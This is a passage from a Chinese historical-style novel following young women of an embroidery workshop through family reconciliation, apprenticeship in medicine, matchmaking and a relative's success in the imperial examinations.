多儿爹脸色一冷,不悦的向一旁的祁多儿的哥哥说道:“你快些去买了云片糕来吧。”
木忍冬哎了一声,又皱了眉头,叹了一口气,略作惆怅得说道:“不可,她要的是她爹亲自去买的,若是不愿意自己去,那便是不原谅她,那她就无颜面回去了。”
多儿爹脸色更加难看,又带了几分怒气,迟迟未答话。
多儿娘便对多儿爹说:“既然如此,那我们便回去吧。我们这么多年也未管教过她,她不愿回来便算了吧。”
多儿爹收了怒气说道:“劳烦姑娘在此等着,我去买了云片糕就来。”
多儿娘说道:“有贤,你陪着你爹一起去吧。”
多儿哥哥向母亲答道:“是。”
木忍冬将多儿娘与多儿弟弟请入绣坊前花园中等待。木忍冬向多儿娘说道:“婶婶,你先请在这里休息一会。”
忍冬有给多儿娘与多儿弟弟拿了些点心茶水出来。
等了半个多时辰,多儿爹回来了。多儿爹提起一扎云片糕递给忍冬说道:“劳烦姑娘带给多儿,待她愿意了,就与我们回家吧。”多儿爹虽是态度诚恳,语气中还是有几分厌烦又气愤的感觉。
忍冬接过,轻笑一下向多儿爹说道:“那我就去与她说上一说。”
多儿娘又拉着忍冬说:“我知姑娘是个机灵人,还请可怜我这老人,为我多说些好话,劝他回来。”
木忍冬向忍冬娘点点头说道:“婶婶请放心。”
忍冬说罢便提着云片糕往房间走去,待到要进门时又将云片糕放于门口,空着手进去了。
多儿看忍冬一眼哼了一声说道:“这倒是清净了。”
忍冬又退至门口,取了云片糕说:“难清净了。”
多儿楞了片刻,又抹了几滴眼泪说道:“真是没出息,几片糕点就哭哭啼啼了。”
忍冬走上前安慰道:“我先给你回了消息去,你先换身衣服,梳洗一番。”
多儿换了身白色绿花上襦配上一件粉色花样半臂,又整理了一下头发,戴上了两个珍珠掩鬓,摘了支海棠花插于头上。便出了门。
多儿娘看一眼多儿说道:“都快长成大姑娘了。”
多儿哥哥见妹妹也是十分欢喜,说道:“妹妹出落得越发标志了。”
多儿弟弟倒是表现得甚是不悦。
多儿爹看着多儿笑着说:“齐了,齐了,回家。”
多儿点点头,扶着母亲向家中走去。一路上不少乡亲过来问道:“这就是那个小状元吧,祁家娘子你有福气啊,女儿好看又聪慧。这个女儿怕是胜过其他人的十个儿子呢。”
多儿娘笑笑道:“哪里的话,承蒙你看得起了。”
多儿爹并未搭话,只是朝着围观的乡亲们笑着,步伐倒是越走越轻快了。
多儿爹到了家中,让家中的厨娘快些上了饭菜。
祁多儿给自己娘夹了一个鸡腿说道:“娘,你先吃。”
多儿爹便将剩下那个鸡腿夹给祁多儿说:“多儿,你也吃,这么多年在外受苦了。”
多儿假笑了一下,由喉咙里吐了三个字:“谢谢爹。”
多儿爹本想在说些父慈子孝的好词,那知多儿弟弟心中不悦,便说道:“我要鸡腿。”
多儿爹脸色强忍着不悦,多儿娘将自己的鸡腿给了多儿弟弟。多儿弟弟推了开说:“我要姐姐那个。”
多儿爹脸色已气的发红,那知
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多儿弟弟继续说道:“你再厉害,不也就得了一个儒人的称号,要想当官还不是得看我。”
啪的一声响,多儿爹将多儿弟弟一巴掌打到了地上。
多儿爹厉声对多儿弟弟说道:“去抄写《尚书》,抄到你脑子清醒了为止。”
多儿娘忙拉起多儿弟弟说:“你说这大喜的日子,怎还发如此大火。”
多儿爹哼一声说道:“慈母多败儿。我饱了,你们吃吧。”
多儿爹说罢便离席而去。
吃过饭后,多儿在院中看着桂花树。
多儿哥哥走了过来说道:“你嫂嫂很想见你,不过她刚生产,还没出月子。今日就没来,托我找你帮个忙。”
多儿望向哥哥说道:“什么忙?”
“你嫂子生了一个女儿,她说她希望能如你一般聪慧,想请你给取个名字。”
多儿思考了一会说道:“望舒,前望舒使先驱兮,后飞廉使奔腾。希望她如月神一般。”
“望舒,好名字。你嫂嫂一定喜欢,你嫂嫂还说,让你得空去家中找她同玩。”
多儿点点头说道:“我得空会去找嫂嫂的。”
多儿哥哥看了看多儿,继续说道:“今日你也是看明白了吧,爹是不在乎任何一个儿女的。小弟平日里聪慧,但今年连乡试都没过,你却得了童子科上等。”
祁多儿冷笑一声说道:“你不必多说了,我知道。你想说你与我也没甚差别吗?”
多儿哥哥笑了笑说道:“你不必如此讥笑我。我知我因为是男子比你多享了好些福气。但也我明白那并不是因为我多讨人喜欢,而是官名利禄得人喜欢。只不过这世道不太公平,绝了女子追求官名利禄的路。”
祁多儿并未言语,多儿哥哥继续说道:“你如今既有封号,又有绣坊的月给。功名利禄都有了,自然是比我与小弟这种平民要好些了。以后你也不必想你之前受的委屈了。”
祁多儿笑了笑说道:“二哥,可你心安理得受优待好些年。如今我得势了却要为这世道的不公遭受谴责了?”
多儿哥哥摆手说道:“我并非这个意思,我只是怕你还困于之前的事情里,伤了自己。”
祁多儿叹了一口气说道:“我早就不在意了,到是二哥,若我没去绣坊,没得这儒人封号,你会让你的女儿识字吗?你会嫌弃厌恶她吗?”
多儿哥哥沉思一会说道:“怎么也是自己亲女儿,自然是没有嫌弃厌恶的。”
祁多儿笑了笑说道:“二哥,天气有些凉,我先进屋了。过些日子有空了,我就去看嫂嫂。”
多儿哥哥叹了一口气说道:“好,你嫂嫂等你。”
祁多儿在家待了一夜,第二日便早早要回绣坊。
多儿娘松她出门说道:“我的儿,你如今儒人也有赏钱了,不缺钱花,就别去绣坊了。在家待些日子陪陪娘吧。”
祁多儿对娘亲说道:“我已经习惯了绣坊的日子了,一时改不回来,等多些时日再说吧。”
多儿娘叹了一口气说:“好,都听你的。”
27. 秋水得宝离绣坊
三月后,新年过后又迎了春。
楚知求喊来许秋水,假装沉思了一会儿,又叹口气故作为难的问道:“你后日又要去逍遥馆了,你可还愿意?”
许秋水心想,何必如此惺惺作态,我不过是那日回来心情低沉了些,怎么师父就认为我十分不愿了呢?
许秋水抬起头,眼神坚毅,语气坚定的对楚知求说:“师父你放心,徒儿愿意去。徒儿已经想明白了,无非是几句嘲讽而已,我受得起。”
楚知求笑了笑说道:“怎有如此大觉悟了?”
许秋水思考了一会儿说道:“我看过了先前那位与逍遥馆签订合约的医师的日记,她说这世道既然无法取消这个地方,那至少能让她们活着时候能感觉到自己是个人。我也如此认为。”
楚知求思考片刻又问道:“那你如何看她们?”
许秋水低下了头说道:“我还是觉得她们是可怜的,我无法做到和松师兄一般以平常心去看她们。”
楚知求捋了捋胡子问道:“你为何觉得她们可怜?”
许秋水一脸不屑又愤恨的说:“因为她们不是自愿的。”
楚知求继续望向许秋水,又追问道:“那卖身葬父着,卖身救母着。亦或是为了养家糊口之人自愿卖身于青楼着又如何去说?她们不应当感谢青楼吗?”
许秋水眼眶微红,怒视楚知求到:“徒儿认为此等说法并不正确,穷人的道德不应成为富人敛财的工具。”
楚知求任是不饶,继续问道:“那其家人应当如何?”
许秋水答道:“死去的父亲,逝者已逝,生着如斯乎。既然已经死去了,便找个寺庙火化了,随风而去便好。若无法救治之人,及时放弃也是值得称赞的。若一家人若是需要一人如此牺牲自己才可安平生活,那这世道就应该改上一改了。”
楚知求大笑了几声说道:“不愧是我的好徒儿,你说得有理。但是在外还是不可瞎说。大多人愚蠢,只能听懂一半话。”
许秋水疑惑问道:“哪一半?”
楚知求笑了笑说道:“你没说的那一半。”
许秋水更疑惑了,就问道:“师父,那你还有其他事吗?没有我就先回去抄写药方了。”
楚知求忙说:“慢着,险些忘记了正事。你以后行医,居在绣坊不太方便,后日搬去楚宅较好。”
许秋水眉头微蹙,有些不大愿意。
楚知求继续说道:“绣坊规矩确实较多,你今后给人看病若是有人上门找你,你也不让他人趟绣坊大门口吧。”
许秋水还是有些不愿,楚知求又说道:“人生总是在慢慢离别的,贺得宝后日也要回去自家学医管理木坊了。你若一起离去,忍冬她们就能只受一次离别。若你要在住些日子也可,那忍冬她们就要经历两次离别了。”
许秋水听后点点说道:“那我后日就搬。”
楚知求从袖口中掏出一个三寸长,一寸宽的木筒说道:“这是真正的牵机。”
只见这木筒,头部一寸处嵌了两个黑色的木头,两个黑色木头之间有一个凹槽。底部出了六个空心尖端。
楚知求指向那圈黑色木头说道:“你要用的时候,握住这个黑色一下的的部位,将这两个黑色的抠出。然后将这个尖端用力插到那人身上,然后用力按下这个黑色以下的部位。就会将毒药全推入那人身上。”
许秋水看见师父演示了一番,那木筒尖端流出红色的液体,许秋水连忙后退一步,怕那牵机溅射到自己身上。
楚知求看许秋水的摸样,笑了几声后说道,又拿出了一个木筒:“我刚是哄你的,是我混的一些朱砂水。这才是真的牵机。”
楚之求将其递予许秋水,许秋水正要去接,楚之求又将那木筒拿了开对许秋水说道:“你可要十分当心,这是真的牵机。”
许秋水点点头,望着楚知求说道:“徒儿明白。”
楚知求这才将这木筒递给许秋水,又继续说道:“若你遇见武功高强些的,怕来不及按下,你也可先按下的再扎他。可能会导致毒性降低,但就算只有一滴见血了也能让人好受的。”
许秋水又问道:“若扎伤人了,又想救他呢?”
楚知求将一个写着续命丹的白色瓷瓶递给许秋水说道:“无解药,若有需要可喂上一粒这个,可续上一个时辰,让他交代一些遗言。一次服用五颗,最多可延续三个时辰。多了无用。”
许秋水看了看那续命丹和牵机又望向师父说道:“为何要给我如此毒的毒药呢?”
师父捋了捋胡子说道:“如今你年岁一年比一年大,就算是男装也难掩饰身份。但不去逍遥馆也没法有那么多治疗的病例。虽说我济安堂一般无人敢招惹,但若是有几个不长眼的。那人没了比活着好解决。”
许秋水啊了一声,又继续问道:“那这续命丹可用于别处吗?”
楚知求说道:“这是根据九转灵犀丸与天命牛黄丸的配方经过修改后的药。若是一些急症服用服用一颗能吊着三日,弥留之际的话服用一颗也能多清醒一个时辰。”
许秋水又问道:“那多服用呢?”
楚知求摇了摇头说:“无用,服药只是一瞬间激发出来剩下的那些力气。服用再多,人只剩那点气力了也是无用的。”
许秋水点点头说道:“徒儿明白了。”
楚知求说道:“那你就先回去忙些你的事情吧,今夜将你东西收好。明夜云照去接你回家。”
“徒儿知道了,徒儿告退。”
回了绣坊,贺得宝红着眼眶对许秋水说道:“明日之后我便走了?”
许秋水拉着贺得宝的手说:“今日师父与我说了,我也是明日就走了”
贺得宝啊了一声问道:“为何你也要走?”
许秋水说道:“师父若我以后独自行医,有人寻我,绣坊又不许外人进入,会有些不太方便。”
贺得宝思考了一下说道:“也有几分道理。”
祁多儿看了看贺得宝与许秋水,又望向木忍冬说道:“看来以后不只是休沐日了,今后的日子只有我两相依为命了。”
木忍冬叹了一口气说道:“若不是以前多得是日子习惯,今日怕是要难受坏了。”
贺得宝哼了一声说道:“你们居然无动于衷,真是两个绝情的人。”
木忍冬冷笑了一下说道:“你家木坊就离这两条街,很难有动于衷啊。至于秋水,实在想她,那我就装几回病罢了。”
祁多儿也捂嘴笑了几声说道:“本就是这个道理,你也莫要哭哭啼啼了,得空来绣坊寻我们便是了。”
贺得宝听了思考片刻说道:“却也是这个道理,心里舒服多了。”
祁多儿用手轻敲了敲贺得宝的头:“你呀你。”
秋水笑了笑,拿出在济安堂带回的礼物说道:“这是芙蓉玉肌膏和首乌回春发油,我给你们一人带了一罐回来。”
木忍冬惊讶道:“这芙蓉玉肌膏和首乌回春发油可是城中的紧俏货,如今甚至能卖上百两银子。不愧是楚神医的弟子,竟能拿回这么多罐。”
许秋水笑了一笑说道:“你们先试试好用否。”
祁多儿揭开芙蓉玉肌膏,用手在罐前挥了挥,闻了一闻后说道:“这确实好闻,不知这个如之前的玉肌膏有何不同。”
许秋水望着祁多儿说道:“这芙蓉玉肌膏比那玉肌膏多了芙蓉二字,又是那玉肌膏的价格二十倍。”
玉肌膏卖三两银子,芙蓉玉肌膏六十两银子。芙蓉玉肌膏就是多了味红蓝花将药膏染成了粉色,又定制了芙蓉花样的陶器罢了。还有那十文钱的防风膏是一样的东西,只不过防风膏用得是烘干的细竹筒,不是白瓷罢了。
木忍冬望着许秋水与祁多儿说道:“你两怎在我们面前还打着暗语呢?”
祁多儿嗔怪得看着木忍冬说道:“秋水说的明
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显是一句明话,你怎说是一句暗语。你可不能如此凭空侮人清白。”
秋水也做撒娇道:“姐姐怎可污人清白。”
木忍冬笑了笑:“这下好,成了我的错了。”
贺得宝无奈摇摇头说道:“你们还真是一点都不难过啊?”
木忍冬摸了摸贺得宝的头说道:“难过不急在此刻,今日你们还在,我们先欢乐一日。”
孙管家在外面敲了敲门说道:“都还醒着吗?”
贺得宝急忙去给孙管家开门说到:“都在呢,孙婆婆快进来。”
孙管家给她们一人一个平安符后说道:“这是我去寺庙给你们求的平安符。秋水和得宝明日就离开绣坊了。希望你们都平平安安的。”
许秋水乖巧的冲孙管家说:“谢谢孙婆婆。”
又从桌上拿了芙蓉玉肌膏和首乌回春发油递给孙管家:“婆婆,这是我给你带的礼物。”
孙管家看了一眼又推开说道:“这太贵重了,我不能要。”
许秋水又推了回去继续说道:“这是我配置的,不用钱。是婆婆不相信我的医术吗?”
孙管家听秋水这么说忙接了过来说道:“那我就收下了。”
又摸了摸秋水的脸继续说道:“我们秋水以后一定会成为一个天下著名的好神医。”
许秋水笑着给孙管家行了一个礼说道:“秋水谢谢婆婆多年照顾之恩,一定不辜负婆婆所望。”
孙管家说道:“好孩子,你们都是好孩子。”说着又擦了擦眼泪继续说道:“我就先回去了,你们小姐妹今夜好好聊一聊。”
许秋水等人将孙管家送至门口,听见管家的关门声,才退了回来将门关上。
木忍冬擦了擦眼泪说道:“本来不伤感的,孙婆婆以来,倒是没忍住了。”
祁多儿叹了一口气说道:“是啊,一晃就过去了快四年了。”
四人聊起之前初次见面的点滴,和刚学识字时得宝为难的样子,忍冬说起她在崔府一人单独学习,更是严厉。
又各自得说道,秋水去济安堂后,她们三人学刺绣,田教习技艺如何精巧,教学如何严厉。
秋水说自己在济安堂,学业枯燥又有趣。松师兄等人一些趣事,师兄们为何给马师弟取外号叫俏张飞。
几人你一言我一语,时而叹气时而大笑得,慢慢的聊至睡着。
29.
第二日晚,楚云照贺马车早早得趁木忍冬与祁多儿还未回来,就将东西打包到了楚宅。
许秋水看着她曾经住过的地方有些防护,往事好像还历历在目。当时她还腿不能行,这里摆放的不过只有一张床。
现如今,推开门右侧是摆上了一张红木花纹书桌与太妃椅。书桌旁左右后侧都摆了一个书柜。右侧摆着一张画岁寒三友的屏风。绕过屏风,右侧摆了一个洗脸的盆架,中间摆了张刻了如意花纹拔步床,床前侧放了雕花梳妆台,台上分粉黛之物一应俱全,床后侧摆放了一张百宝嵌衣柜。
楚云照在屏风前对屏风后的秋水说道:“东西都先放这里了,你先收拾一下。还缺什么,再与我说。”
秋水惊叹道:“谢谢云照哥哥,你们准备得有些太过全面了。”
楚云照笑笑说:“这些是舅妈准备的,她说女孩子就要准备的完善一些。若今后还要添置东西,对面东厢房也可改为你的。”
秋水急忙说:“不用,这里足够了。”
楚云照:“不必客气,既然现在没有什么缺得,那我就此告辞了。”
秋水向楚云照行了万福礼说道:“多谢云照哥哥。”
楚云照向秋水也回了叉手礼后便退出了屋子走了。
晚上绣坊中木忍冬和祁多儿回道房间,看得宝与秋水都已经走了。
沉默了一会儿,木忍冬说道:“今夜好静。”
祁多儿向着木忍冬说道:“今后都要这么静了。”
28. 为茯苓择夫婿
楚宅里许秋水收拾了一会东西,一位十六身穿粉色衣裙的女子前来唤许秋水去前厅吃饭:“许秋水小娘子,金娘子问你收拾得如何了,可去用膳嘛?”
许秋水略显疑惑的望着那位姑娘说道:“姐姐现在带我去吧。姐姐瞧着有些面生,你是哪位姐姐,你可知道茯苓姐姐在何处?”
那位女子笑了笑说道:“我是今年刚来府中的商陆,茯苓姐姐今日回家了,明日就会回来。”
许秋水点头道:“原来如此,那商陆姐姐明日你见了茯苓姐姐可否替我传话说我有些事找她。”
商陆笑道:“自然可以。”
许秋水便向商陆行了一个礼说道:“那便谢谢商陆姐姐了。”
商陆笑着也回了一个礼。
许秋水到了前厅,金娘子笑着说道:“倒是好些年没有一起吃饭了,你还熟悉此地吗?”
许秋水摇了摇头。
楚知求笑了几声说道:“她当然不熟悉此地,她第一次来是躺着进来的,怕是唯一熟悉得是她房间那横梁。”
金娘子怒视楚知求道:“你说什么胡话。”
又慈爱的看着秋水说道:“莫听他胡说,先坐下吃饭吧。”
许秋水向金娘子行了一个礼说道:“谢金娘子师娘,那些事情我都记不太清了。”
金娘子看着秋水笑了笑说道:“记不清了也好,那也不必记得。来,吃菜。”
金娘子又给楚云照和秋水各盛了一碗竹荪菌鸡汤:“云照,秋水,试试这汤如何?”
“谢谢舅妈。”
“谢谢金娘子师娘。”
楚知求望着金娘子说道:“缕儿,我的呢。”
金娘子给楚知求也盛了一碗说道:“你说你,和孩子还抢食吗,只不过给你的晚了一些。”
楚知求接过,笑着说道:“谢谢缕儿。”
秋水尝过之后,眼睛发光得对金娘子说:“好鲜啊,好好吃。”
金娘子笑笑,果真是孩子,格外可爱:“好喝就好。”
楚云照也点了点头说道:“确实好吃,竹荪不愧是雪裙仙子,汤鲜味美,妙品。”
楚知求也尝了口说道,疑惑得看着云照道:“好吃是好吃,不过云照平日里不是对饮食不看重吗,今日怎如此夸赞?”
楚云照又喝了一口,并未答话。
金娘子冲楚知求笑了笑说:“吃人嘴软,拿人手短。你可听说过?”
楚知求望向金娘子说道:“我还未完全咽下去,可以吐出来吗?”
金娘子摇了摇头说道:“如此可是不雅。”
楚知求放下碗,问道:“可有什么大事吗?不妨直说,你这不说,我不敢继续吃。”
金娘子笑了笑说到:“也不是什么大事,这是茯苓娘送来的竹荪和鸡,还有好些东西在厨房呢。她说茯苓也到该出嫁的年纪了,说我人面广,希望帮她物色一下。”
楚知求又将碗端起说道:“吓我一跳,我当是什么事呢。济安堂倒是只有李松、安百生贺崔始计三人为娶亲了。你改日问问茯苓喜欢什么样的,我去问问我师兄弟那里有无好的让她见见。”
金娘子说道:“今日茯苓娘来,我就说,我那里都是些夫人小娘子的,合适得公子哥确实没有,还得是等你回来问问你。你一下到是选了三个出来。”
楚知求瞟了一眼金娘子又看向楚云照说道:“云照的同窗好友,也挑几个选选。”
金娘子摆了摆头说道:“我也说了,茯苓娘说不要那些家室太好的,也不要考学当官的。要一个老实本分做事讨生活的就好。家室好的怕茯苓受委屈,考学当官怕让茯苓太操劳。”
楚知求思索了一会说道:“那崔始计也被排除了,若先只看李松与安百生,你们看是哪一个好些。”
金娘子看了一眼楚知求,又望向云照和秋水说道:“我与之不太相熟,云照你先说说。”
楚云照说道:“安师弟年岁相当,他也比较沉稳。家住绣坊近,若是与安师弟一起了,虽不能兼顾楚宅的事务,单可帮忙处理绣坊事务。”
金娘子听后点了点头,心想若是茯苓还在绣坊。那便可茯苓与祁多儿管理绣坊。木忍冬以后接替田如意的位置,到是刚好。
金娘子看向秋水:“秋水,如果是你,你是觉得安百生好还是李松好呢?”
秋水思索了片刻后说道:“如果是我,我选松师兄。”
秋水心想这可如何是好,松师兄今日还要自己帮忙给茯苓姐姐送东西。可自己也未打探是为何。这下也不知道是不是该帮松师兄说话。
楚知求听了先是笑了笑,而后面色又一冷,心想好个李松。
楚云照听了满是疑惑,女子不是都喜欢沉稳一些的男子么?怎得秋水不选百生选李松。
金娘子皱了皱眉头问道:“这是为何?”
许秋水答道:“因为松师兄比安师兄有趣些。”
但安师兄,是明明白白的不行,他这几月月末发了月给就先去醉音坊买些点心。不爱听曲不爱看舞,就爱吃醉音的点心。这实在是很难相信他不是有些别的想法。
金娘子又望向楚知求问道:“他两一人一个看法,你又有什么看法。”
楚知求说道:“你先打探一下茯苓喜欢什么摸样的,我再去问问李松与安百生。我们在这胡闹什么。”
金娘子叹了一口气道:“茯苓心思深沉,不爱外显。若是直接问她,她也只会说不着急,或是听她母亲安排。所以我想先选几个好的再让茯苓过眼瞧瞧再说。”
楚知求点点头道:“此言说得有理。不过李松比茯苓小了三岁,年岁不太搭配。百生倒是年龄比茯苓大两岁,倒是刚好相配。先问过茯苓觉得百生如何把。”
秋水啊了一声说道:“可是有俗语说,女大三抱金砖。”
楚知求听了一笑望着秋水说道:“你知道什么都说出来吧,茯苓乖巧听话,若是不清楚这些关系。茯苓娘见安百生一表人才,就让茯苓嫁了,耽误了人就不好了。”
秋水低下了头说道:“松师兄让我给茯苓姐姐带了些东西,一些补品药方,还有一个翠玉如意发钗。可是我没问为什么,所以也不知道他们有什么关系。”
秋水心想,松师兄,若是成了你们的姻缘,也不用你谢我。只求如果是你们被误会了,不要怪我。
楚知求笑了一笑说道:“那缕儿明日问问茯苓对李松是何看法就好了。”
金千缕给秋水夹
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了个菜望着楚知求说道:“你看你,好好说话不行,偏要吓她。”
楚知求撇了眼秋水说道:“好好说,她就不愿意说了。”
吃过饭后,金娘子在房间中想着,若是茯苓真的看上了李松,那便在绣坊旁给他两安置个院子。茯苓还是可以帮自己管理绣坊。知求也想将济安堂交给李松,刚好就如自己和楚知求一般。
一边想着,金娘子一边笑了笑,楚知求见了疑惑道:“你想到了什么,怎如此高兴?”
金娘子望着楚知求说道:“你说,若是茯苓和李松在一起了,我们在绣坊旁给他们置办一个两进小院如何?”
楚知求问道:“那李杏和松安馆如何办呢?”
金娘子说道:“李杏一个女孩子在城外也不方便,自然是与茯苓一起住。茯苓可不是小心眼的人。松安馆在有人需要之前整理一番不就行了吗?”
楚知求叹了一口气道:“松安馆,还有一些活是在馆中接待的,不经过济安堂。”
金娘子思索一番说道:“那你想将济安堂交给李松,也得先给松安馆找个后人。称她们成婚前,你先多物色一下。”
楚知求皱着眉头看向金娘子:“你说这些是不是太早了。”
金娘子捧着楚知求的脸说道:“松安馆交给谁这件事已经不早了。”
第二日茯苓刚到楚宅,就有人来传话说金娘子在找她。
茯苓到了金娘子房间问金娘子:“娘子今日为何没去绣坊,找我有何事?”
金娘子笑笑道:“茯苓啊,你也跟我这么久了,昨日你母亲来与我说你的婚姻大事。也是时间了,不知你可有如意的人?”
茯苓惊讶道:“娘子放心,你先不要理会我娘亲,茯苓现在只想在陪在娘子身边,不想这些事情。”
金娘子又问道:“你说得这些话可当真?”
茯苓望着金娘子说道:“当真。”
金娘子叹了一口气,又做犹豫纠结之态说道:“昨日知求也与我说,李松的年纪也要成婚了。他无父无母,我们不能不操心。我还想刚好你母亲也找我,就想将你两凑一对看看合不合眼缘。既然你不想那便算了。”
茯苓啊了一声,又后退一步。
金娘子又问:“你这是如何了?莫不是?”
茯苓叹了一口气说道:“可我比李松大了几岁。”
金娘子笑着拉过茯苓的手说:“你且信的过我么?你信我你就和我说你是否中意于他。”
茯苓害羞得点了点头后又低下了头。
金娘子低头看着茯苓说道:“傻子,你还不早于我说。也不当心人家抢去了。”
茯苓哼一声说道:“若是有人抢,我便不要了。”
金娘子笑了笑,用手点了点茯苓的头:“你到是傲气,既然知道了你的心意,那其他的你且放心了。”
茯苓嗯了一声。
金娘子又问道:“你是何时相中她的?”
茯苓思考了一番说道:“三年多前,我母亲生了病,可她又不愿去求医。急的我在路边一边走一边哭。被他看见了,就带着李杏去了我家给我娘看病。”
金娘子叹道:“你呀,真能藏事,这么多年我竟然一点也不知道。”
29. 楚云照连中三元
一年后,楚宅中挂上了红灯笼,门前请了城中最为著名的戏班在家中唱戏。楚云照身戴大红花随着楚知求与金娘子在门口迎接着宾客。
“恭喜啊,状元郎果然是一表人才。可惜我没生个年岁相配的闺女啊。”一位年过八十但精神矍铄老当益壮乐呵呵的对楚云照说。
“崔爷爷,你快些请进。”
楚知求哈哈大笑道:“崔叔还是如此爱开玩笑,这云照可经不起逗,脸都红了。”
“哪里的话,云照的脸分明是这胸前大红花印得。”
金娘子笑到道:“崔叔,来这一趟辛苦了。辛夷,快些带崔叔崔婶还有崔小郎君进去落坐。”
一旁的婢女向金娘子行了礼答是之后,望向那位老人说:“崔老人,随我里边请。”
那位老人向楚云照等人各行了一下叉手礼后,便于夫人还有随着辛夷一起进去了。
待到崔叔走远,楚知求小声附在金娘子耳边说道:“他要生个和云照差不多年纪的女儿,也不知崔婶同不同意。”
金娘子推开楚知求的头说道:“你呀,少说些胡话。崔叔虽年老但还健壮着。教训你还绰绰有余。”
楚知求笑着向金娘子赔礼道:“缕儿教训的是。”
李松将茯苓扶下马车,一手拿着贺礼一手扶着茯苓。茯苓靠着李松牵着李杏说道:“金娘子,楚郎君,恭喜云照小郎君。”
李松向师父师娘楚云照行礼后说道:“师父,师娘,大师兄。师父师娘这么多年了感情还似新婚的夫妻着实令人羡慕啊。”
金娘子慈爱的看了一眼茯苓,又对李松说道:“你们夫妻感情也是不浅啊。”
李松将礼品递于一旁的朴人后说道:“我们本就是新婚夫妻,自然如此,希望我们日后也如师父师娘一般呢。”
茯苓看着李松笑了笑,楚知求哎了一声后说道:“你快搀着你这新婚妻子进去落座吧。”
李松点了点头说道:“是,师父。”
李松牵着茯苓上台阶,对茯苓说道:“姐姐,当心些。”
茯苓走过去后,轻声嗔怪着李松道:“你在外就不要如此喊我了,叫人看笑话。”
李松拍了拍茯苓的手说道:“师父师娘大师兄又不是外人,即使是外人也不会笑话,只会羡慕我们的感情罢了。”
茯苓刮了一下李松鼻子说:“丢人。”
李杏在一旁无奈说道:“外人笑话不笑话不知道,我现在只觉得牙酸。”
李松:“你这小妮子,在过几日,也给你找个好夫婿,让你酸酸我们。”
李杏哼了一声,茯苓便对着李杏说:“我们不听你师父的,我要将你多留身边一些日子。”
李杏笑着说道:“还是茯苓姐姐好。”
楚云照笑着看着他们三人走进去,对楚云照说:“倒是李松有福气,茯苓这么好的姑娘看上他了。你何时也能遇着个心怡的姐姐妹妹。”
楚云照也笑了笑说道:“这怕是我没松师弟这么好的运气,要劳烦舅舅舅妈多等些时日了。”
楚云照等人在门外迎着客,秋水与她几位绣坊姐妹不爱看戏,在房间里躲清闲。
祁多儿看着屋中的陈设说道:“虽然地不算大,但布置摆设有十分雅致。”
许秋水望了屋中陈设,笑了笑给祁多儿倒了一杯茶说道:“倒不是我屋中雅致,是你祁小娘子来此,让我这屋子显得雅致了些。”
祁多儿接过茶呸了一声说道:“你这小蹄子,我夸你,你还取笑我。”
木忍冬啧啧两声后说道:“这一年越发伶牙俐齿了。”
许秋水回怼道:“这月上旬才见你说我温婉可人,今日又说我伶牙俐齿。女人难懂得很。”
说完还摇了摇头。
贺得宝在一旁叹了一口气道:“先给我倒杯茶水吧,这些日子累坏我了。”
秋水给得宝倒了一杯茶问道:“你是如何了?”
贺得宝一口饮尽了那杯茶水,许秋水三人惊讶得望着她。
得宝喝完了说道:“我娘让我学管理账本,我学不会。我娘就让我择夫婿嫁人,我又不想嫁人。只好学账本,可我学不会。”
木忍冬叹了一口气道:“为何非要嫁人,我与楚医师所签的卖身契只到二十五岁。如今我已十七了,再过七年若是要回去也不知该如何了。”
祁多儿眉头一皱道:“忍冬,你还没理解吗?楚医师只签到你二十五岁,算是仆人。保一个良籍。你都到二十五了,你现在又有自己的收入。到时候拿点钱将他们打发了就是。”
木忍冬恍然大悟道:“我真是愚笨,多亏多儿你点悟。”
贺得宝叹了一口气道:“你们都无所忧愁,只有我烦得要命。”
祁多儿笑了一笑道:“你就无心仪之人吗?选个心仪的当上门女婿如何?”
贺得宝看了看秋水,摇了摇头说:“没有,你们呢?”
祁多儿笑了笑:“吾此生嫁给万千书本了。”
贺得宝又望着木忍冬问道:“你呢?”
木忍冬学着祁多儿的话说:“吾此生嫁给万千针线。”
许秋水哈哈大笑说道:“那吾便嫁给这天下万千医术疗养之法了。”
贺得宝听得他们此番豪言状语,更是丧气得说道:“好好好,你们都聪明,有自己向做的事,就我愚笨。”
“得宝小娘子何必如此丧气,日子一天天过,属于你的总会来的。”
秋水等人寻声往门外望去。只见是一位身穿深红色下裙,浅粉色团花纹大袖衫。两边脸颊处点着两粒珍珠,额间花上一朵如意祥云。带着一对长链镶红玛瑙耳环。头带一顶莲花玉冠。插上了好些粉红海棠做配。
秋水正在感叹,好美的女子,好像有些熟悉,但又未想起来。
那人见几位呆滞着便说道:“秋水小娘子,不过一年多未见,已经不认识我了么?”
秋水恍然大悟道:“茯苓姐姐,你越发美了,一下未想起来。”
茯苓捂脸笑了笑说道:“不知我是否打扰了你们小姐妹聚会?”
秋水笑道:“茯苓姐姐快请坐,想你还来不及,怎会觉得你打扰了。”
茯苓继续说道:“我就不坐了,本来是辛夷来寻你们去落座的。可我见她太忙,又想着我已经多年没见你和得宝了,便顺便过来看看了。”
祁多儿佯装生气道:“茯苓姐姐,我和忍冬见得多了,就不值得你一见了是吧。”
茯苓拍了拍祁多儿的头说道:“就你这个小挑事精,快随我一起出去吧。”
而后茯苓带着秋水等人去落座吃席。
吃过酒席后,秋水等人想在聚聚,便问过金娘子后,金娘子让人在秋水房间撤了屏风,在原先的床旁在铺上了一张床,让她们四个今日将就一晚。
秋水去厨房拿了一些剩下的点心与酒回了房间,四人打算不醉不休一番。楚云照与楚知求还有金娘子来了门前,求见祁多儿。
祁多儿出门迎接不解得问道:“寻我有何事。”
楚云照向祁多儿行着礼说道:“我知祁小娘子,心怀天下,志向高远。小人不才,想求得你
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的帮助。可否原做我的私人主溥?”
祁多儿心中一惊,楞住了。她渴求多年的愿望,今日终于有缘实现了吗。无论何职都好,只要能证明自己即可。
楚云照见祁多儿不回话继续说道:“我可给你在绣坊的三倍月给,希望祁小娘子能多考虑一下。”
祁多儿忙扶起楚云照说道:“状元郎连中三元怎可说自己不才,倒是民女不知能不能担起状元郎此番信任。”
楚云照继续说道:“你我皆是姚学士的学生,我自知你的才华。希望你莫再推脱。”
祁多儿点头道:“那我就恭敬不如从命了,不知云照郎君何时去何处任职?”
楚云照答道:“两浙路明州司马参军。七日后启程,一月后要到明州上任。”
祁多儿点点头答道:“那我这七日好好准备些东西,就同你前去明州上任。”
楚知求笑了笑说道:“恭喜云照得如此良才,秋水你这几日也收拾一番,你也同去。”
秋水有些惊讶,又想着与祁多儿一同前去,又有些欢喜的问道:“我为何一同前去。”
